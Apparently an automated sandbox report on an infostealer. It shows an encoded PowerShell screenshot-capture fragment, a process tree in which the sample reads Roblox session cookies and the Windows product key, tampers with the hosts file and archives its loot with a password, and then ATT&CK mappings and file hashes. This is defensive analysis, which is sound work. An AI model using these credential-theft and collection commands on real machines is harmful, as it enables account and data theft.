ACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3100
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ie0x21hd\ie0x21hd.cmdline"
        5⤵
        
        PID:4440
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5285.tmp" "c:\Users\Admin\AppData\Local\Temp\ie0x21hd\CSC2AC1C8D483DA4EBB9BF45B16ECE94C7.TMP"
        6⤵
        
        PID:3900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:100
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:224
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3852
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:1740
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:4220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:960
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:1868
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:4904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:3636
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:3316
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:3460
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:4372
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:4544
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    PID:5064
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI13282\rar.exe a -r -hp"sigma" "C:\Users\Admin\AppData\Local\Temp\8k9D1.zip" *"
    3⤵
    PID:4612
  - - C:\Users\Admin\AppData\Local\Temp\_MEI13282\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI13282\rar.exe a -r -hp"sigma" "C:\Users\Admin\AppData\Local\Temp\8k9D1.zip" *
      4⤵
      Executes dropped EXE
      PID:1100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:1432
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:1572
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:3624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:4484
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:4540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    PID:2576
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:1512
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:1988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:1992
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3200

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:4412

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 f45b0efc0833020dfeeaad0adc8ed10b0f85e0bc491baf9e1a4da089636bccf5
MD5 8740e7db6a0d290c198447b1f16d5281
SHA1 ab54460bb918f4af8a651317c8b53a8f6bfb70cd
SHA512 d91fe9666c4923c8e90e5a785db96e5613b8cb3bf28983296a2f381ccdcd73d15254268548e156c8150a9a531712602313ba65f74cec5784341c8d66b088750b
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233
MD5 2e907f77659a6601fcc408274894da2e
SHA1 9f5b72abef1cd7145bf37547cdb1b9254b4efe9d
SHA512 34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 95aceb2100c76f728f27e114cbf35b5ce605986669304d67e565d74fa74b8de8
MD5 778bfc88ef69a05a1389c9ffff8a72eb
SHA1 35f7b1453ad139cf2674e2850e1fbbe76e013408
SHA512 bb982049165f7d3c495fe5112bb15741c0d181227751566ef3f21ac695a8a8dc850d21ddd38e8fe1adb630eff4c40bea57a85d5c8a9f80bedb9a25c612f73f93
MD5 SHA1 SHA512

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI13282\VCRUNTIME140.dll
Size 106KB
SHA256 a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736
MD5 4585a96cc4eef6aafd5e27ea09147dc6
SHA1 489cfff1b19abbec98fda26ac8958005e88dd0cb
SHA512 d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286
SSDEEP 1536:GcghbEGyzXJZDWnEzWG9q4lVOiVgXjO5/woecbq8qZHg2zuCS+zuecL:GV3iC0h9q4v6XjKwoecbq8qBTq+1cL
MD5 SHA1 SHA512 SSDEEP

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI13282\_bz2.pyd
Size 48KB
SHA256 1db14a217c5279c106b9d55f440ccf19f35ef3a580188353b734e3e39099b13f
MD5 554b7b0d0daca993e22b7d31ed498bc2
SHA1 ea7f1823e782d08a99b437c665d86fa734fe3fe4
SHA512 4b36097eddd2c1d69ac98c7e98eebe7bb11a5117249ad36a99883732f643e21ecf58e6bea33b70974d600563dc0b0a30bead98bafb72537f8374b3d67979e60a
SSDEEP 1536:MtiGgF1TxbYecfs2F876zpfImCVQj7SysPxJ:MkHz4LFPNImCVQjGxJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI13282\_ctypes.pyd
Size 58KB
SHA256 5ee40bcaab13fa9cf064ecae6fc0da6d236120c06fa41602893f1010efaa52fe
MD5 d603c8bfe4cfc71fe5134d64be2e929b
SHA1 ff27ea58f4f5b11b7eaa1c8884eac658e2e9248b
SHA512 fcc0dbfbe402300ae47e1cb2469d1f733a910d573328fe7990d69625e933988ecc21ab22f432945a78995129885f4a9392e1cee224d14e940338046f61abe361
SSDEEP 1536:/UOlRJUIp/i+OnIlnGgm5XVz4iImLPAf7SyNlPx:MOpnomlnGgoXVUiImLPAfPZx
MD5 SHA1 SHA512 SSDEEP

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI13282\_decimal.pyd
Size 106KB
SHA256 677d9993bb887fef60f6657de6c239086ace7725c68853e7636e2ff4a8f0d009
MD5 9cef71be6a40bc2387c383c217d158c7
SHA1 dd6bc79d69fc26e003d23b4e683e3fac21bc29cb
SHA512 90e02054163d44d12c603debdc4213c5a862f609617d78dd29f7fd21a0bae82add4ceaf30024da681c2a65d08a8142c83eb81d8294f1284edfbeeb7d66c371c8
SSDEEP 3072:CNb2HcDjyP1iSYsEHOqLQb1H7wtDWPnyTm2GN4ImOqGCArxv:CNb2HeyiOrH0t6r2kC8
MD5 SHA1 SHA512 SSDEEP

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI13282\_hashlib.pyd
Size 35KB
SHA256 b7c9c540d54ab59c16936e1639c6565cd35a8ca625f31753e57db9cbd0ee0065
MD5 32df18692606ce984614c7efda2eec27
SHA1 86084e39ab0aadf0ecfb82ce066b7bf14152961e
SHA512 679f8956370edc4dee32475d8440a2d2f9b6dd0edd0e033e49fed7834a35c7ed51ccde0995d19ed0a559a4383b99ae8c11e4e686902db12a2a5e0a3f2c0f4a9d
SSDEEP 768:a91cXZ8iY8JshuVLX7lB6IKpp5rbImOIta5YiSyvCKPxWE9:ajSYZhuN3QlrbImOIt47Sy7Px
MD5 SHA1 SHA512 SSDEEP

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI13282\_lzma.pyd
Size 85KB
SHA256 a201ec286b0233644ae62c6e418588243a3f2a0c5a6f556e0d68b3c747020812
MD5 01629284f906c40f480e80104158f31a
SHA1 6ab85c66956856710f32aed6cdae64a60aea5f0f
SHA512 107a4e857dd78dd92be32911e3a574f861f3425e01ab4b1a7580ac799dc76122ce3165465d24c34ac7fc8f2810547ad72b4d4ba3de76d3d61ed9bf5b92e7f7d4
SSDEEP 1536:TwZh3A5zFTPuztVVQW1AyOXEyvYsnHUZK+K+k6Vvt7v/8ImZ1Lw7SyYAPxx3:kvA5utzWfXE0V0ZK+K+Jt7vUImZ1Lwtx
MD5 SHA1 SHA512 SSDEEP

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI13282\_queue.pyd
Size 25KB
SHA256 2163010bfde88a6cc15380516d31955935e243b7ad43558a89380bf5fe86337e
MD5 4a313dc23f9d0a1f328c74dd5cf3b9ab
SHA1 494f1f5ead41d41d324c82721ab7ca1d1b72c062
SHA512 42c712b758b35c0005b3528af586233298c2df4ed9f5133b8469bca9ec421ab151ce63f3929898c73d616cd9707594fa5f96d623fc150e214a4b2276c23c296e
SSDEEP 384:w0Psz9rLZgNhzHjlryUOy7s6Wp6hZa7gJXT7ImQUtNkHQIYiSy1pCQjtAPxh8E9s:GihFWRupD7ImQUtc5YiSyvxAPxWE9HJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI13282\_socket.pyd
Size 43KB
SHA256 ddbfa852e32e20d67a0c3d718ce68e9403c858d5cad44ea6404aff302556aba7
MD5 67897f8c3262aecb8c9f15292dd1e1f0
SHA1 74f1ef77dd3265846a504f98f2e2f080eadbf58a
SHA512 200b6570db2fbb2eac7f51cae8e16ffb89cd46d13fba94a7729a675f10f4432fc89a256fd6bd804feac528191bd116407fd58a0573487d905fc8fca022c1abba
SSDEEP 768:EhFQ8MABQICFr2Tg+z2uPxYEV/WJqOxU/XNqppz7ImLwQFC5YiSyvLPxWE9dK:gTiFtipt/ML4NIz7ImLwQFg7SyTPxJK
MD5 SHA1 SHA512 SSDEEP

Submit Download

_sqlite3.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI13282\_sqlite3.pyd
Size 56KB
SHA256 30a3bc9ed8f36e3065b583d56503b81297f32b4744bff72dcf918407978ce332
MD5 230025cf18b0c20c5f4abba63d733ca8
SHA1 336248fde1973410a0746599e14485d068771e30
SHA512 2c4d943c6587d28763cf7c21ad37cc4762674a75c643994b3e8e7c7b20576d5674cf700fdfaddc1a834d9bf034bf2f449d95351c236fde720505ccdd03369bb1
SSDEEP 1536:F1OB9LTyHEhkBFl837aWkbKlujFImOQAO7SyuWPxJ:i/LTyHRTU1kuluZImOQAOfxJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

_ssl.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI13282\_ssl.pyd
Size 62KB
SHA256 2fc63abe576c0d5fe031cf7ee0e2f11d9c510c6dbacfc5dd2e79e23da3650ee8
MD5 0d15b2fdfa03be76917723686e77823c
SHA1 efd799a4a5e4f9d15226584dd2ee03956f37bdaf
SHA512 e21ab5ebe8b97243cf32ca9181c311978e203852847e4beb5e6ada487038c37dec18a2b683e11e420e05ace014aca2172b2dda15930bab944053843e25623227
SSDEEP 1536:xzB+lCu0pTB1zYk0UdJSqtEZImC7b0E7SyZfPx:9cCu0pHzD0UFtWImC7bXbnx
MD5 SHA1 SHA512 SSDEEP

Submit Download

base_library.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI13282\base_library.zip
Size 1.4MB
SHA256 b9e9569931047cd6a455ec826791c2e6c249c814dc0fa71f0bd7fa7f49b8948d
MD5 5011d68fbea0156fe813d00c1f7d9af2
SHA1 d76d817cac04d830707ce97b4d0d582a988e1dbd
SHA512 6a5affde07b5150b5aee854851f9f68c727b0f5ba83513c294d27461546a5ef67bf6c5869fc4abdadaa9bf1767ea897910c640c5494b659a29004050c9c5d099
SSDEEP 24576:mQR5pATt7xm4lUKdcubgAnyfb3s0iwhBdYf9P3sGHHO:mQR5pQxmzG8
MD5 SHA1 SHA512 SSDEEP

Submit Download

blank.aes

Path C:\Users\Admin\AppData\Local\Temp\_MEI13282\blank.aes
Size 124KB
SHA256 e54effb73881af4a216377db3e83068cd2433b46dca479307e1b43aef3d13aa4
MD5 1f943a8e4de6070ff20431ad6e7f9c05
SHA1 e3a16a03cdb3d3157d024e2baab32bde4841bde9
SHA512 706923632279299238faf44a58e6ec6b53a4564ac19525d8eece3526d85b7915165b3e391fc08e9574a60c2f054b030d12546a4b0916b2ff4b86eb1f1906074e
SSDEEP 3072:UiJOW6sNC/Ptz2W1wpxm6u8JrOs5qQ0A1uMA6PZzDkcRAR33c:fJOW6sNCtiFu8Jrfj11PNgcoHc
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcrypto-1_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI13282\libcrypto-1_1.dll
Size 1.1MB
SHA256 9a36e09f111687e6b450937bb9c8aede7c37d598b1cccc1293eed2342d11cf47
MD5 bbc1fcb5792f226c82e3e958948cb3c3
SHA1 4d25857bcf0651d90725d4fb8db03ccada6540c3
SHA512 3137be91f3393df2d56a3255281db7d4a4dccd6850eeb4f0df69d4c8dda625b85d5634fce49b195f3cc431e2245b8e9ba401baaa08778a467639ee4c1cc23d8d
SSDEEP 24576:AfVpBeOErQiWG03fz7UuJ7G/y1Pcg8rWgrnNFF+EoIFAVMBU1CPwDv3uFfJN:4pBejNWGoXFJ7ay14rWgrnNxoIFAy+1Y
MD5 SHA1 SHA512 SSDEEP

Submit Download

libffi-8.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI13282\libffi-8.dll
Size 29KB
SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
MD5 08b000c3d990bc018fcb91a1e175e06e
SHA1 bd0ce09bb3414d11c91316113c2becfff0862d0d
SHA512 8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf
SSDEEP 768:3p/6aepjG56w24Up3p45YiSyvkIPxWEqG:tA154spK7SytPxF
MD5 SHA1 SHA512 SSDEEP

Submit Download

libssl-1_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI13282\libssl-1_1.dll
Size 204KB
SHA256 2af3d965863018c66c2a9a2d66072fe3657bbd0b900473b9bbdcac8091686ae1
MD5 ad0a2b4286a43a0ef05f452667e656db
SHA1 a8835ca75768b5756aa2445ca33b16e18ceacb77
SHA512 cceb5ec1dd6d2801abbacd6112393fecbf5d88fe52db86cfc98f13326c3d3e31c042b0cc180b640d0f33681bdd9e6a355dc0fbfde597a323c8d9e88de40b37c4
SSDEEP 3072:He9fHP8SzrOGFIXkUNNlvBK8Tg111WMEGf0+fGYahm8YNIqepRLvwdlMrQk/OlfJ:+99u/XRxpK8M111nEE0iGYziqGdvwLeO
MD5 SHA1 SHA512 SSDEEP

Submit Download

python311.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI13282\python311.dll
Size 1.6MB
SHA256 3373ee171db8898c83711ec5067895426421c44f1be29af96efe00c48555472e
MD5 9e985651962ccbccdf5220f6617b444f
SHA1 9238853fe1cff8a49c2c801644d6aa57ed1fe4d2
SHA512 8b8e68bbe71dcd928dbe380fe1a839538e7b8747733ba2fd3d421ba8d280a11ba111b7e8322c14214d5986af9c52ab0c75288bbb2a8b55612fb45836c56ddc36
SSDEEP 49152:+kJce+tFLwBxJ01hS41mhwuxtH59x/xWI:Xce+tA0D/1HuLZpt
MD5 SHA1 SHA512 SSDEEP

Submit Download

rar.exe

Path C:\Users\Admin\AppData\Local\Temp\_MEI13282\rar.exe
Size 615KB
SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
MD5 9c223575ae5b9544bc3d69ac6364f75e
SHA1 8a1cb5ee02c742e937febc57609ac312247ba386
SHA512 57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09
SSDEEP 12288:3lPCcFDlj+gV4zOifKlOWVNcjfQww0S5JPgdbBC9qxbYG9Y:3lPCcvj+YYrfSOWVNcj1JS5JPgdbBCZd
MD5 SHA1 SHA512 SSDEEP

Submit Download

rarreg.key

Path C:\Users\Admin\AppData\Local\Temp\_MEI13282\rarreg.key
Size 456B
SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
MD5 4531984cad7dacf24c086830068c4abe
SHA1 fa7c8c46677af01a83cf652ef30ba39b2aae14c3
SHA512 00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122
MD5 SHA1 SHA512

Submit Download

select.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI13282\select.pyd
Size 25KB
SHA256 fcc744cfccc1c47f6f918e66cfc1b73370d2cecdb776984fabb638745ebe3a38
MD5 27703f9a7c7e90e049d5542fb7746988
SHA1 bc9c6f5271def4cc4e9436efa00f231707c01a55
SHA512 0875ad48842bbac73e59d4b0b5d7083280bde98336c8856160493cc63f7c3a419f4471f19c8537e5c8515e194c6604f9efa07d9d9af5def2f374406d316436a8
SSDEEP 768:yjW1JNYpJjdImQGtq5YiSyvaAPxWE9Uux:yjW1XCjdImQGto7SyFPxBx
MD5 SHA1 SHA512 SSDEEP

Submit Download

sqlite3.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI13282\sqlite3.dll
Size 610KB
SHA256 48f50e8a693f3b1271949d849b9a70c76acaa4c291608d869efe77de1432d595
MD5 08ce33649d6822ff0776ede46cc65650
SHA1 941535dabdb62c7ca74c32f791d2f4b263ec7d48
SHA512 8398e54645093e3f169c0b128cbeda3799d905173c9cb9548962ecbaf3d305620f0316c7c3f27077b148b8f6d3f6146b81c53b235f04ac54668dab05b929d52f
SSDEEP 12288:dyVH8JO5nlelPUdcp1rdCJp/fBewYAoAu0tZV6w576ahQjaxUk:8t8uaUdcV0xYtAoAu0H0w576yQjO9
MD5 SHA1 SHA512 SSDEEP

Submit Download

unicodedata.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI13282\unicodedata.pyd
Size 295KB
SHA256 b37d56ad48a70b802fb337d721120d753270dbda0854b1bfb600893fb2ce4e7a
MD5 f86f9b7eb2cb16fb815bb0650d9ef452
SHA1 b9e217146eb6194fc38923af5208119286c365ad
SHA512 6c448f6d6c069ba950c555529557f678dfd17c748b2279d5eec530d7eb5db193aa1ca18dd3ce9f5220e8681a0e50b00d7de93c6744476c0e1872dafd9d5de775
SSDEEP 6144:9k/Qvs7yfQJYx4x9UVqHDMDNCStEQc5YmDp9KiR:9kUfQJbUV2MhCwEQc5Np9zR
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_midhl4ng.25e.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_midhl4ng.25e.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

ie0x21hd.dll

Path C:\Users\Admin\AppData\Local\Temp\ie0x21hd\ie0x21hd.dll
Size 4KB
SHA256 71758cbc97cbe80330ebf7ec37855b71b8f1857588252ce3e4cd18b5892e56aa
MD5 bb3fccd4dbdf6b69796533a4c458f476
SHA1 31d715298f7c491e2be92143d8559d9f14d854ea
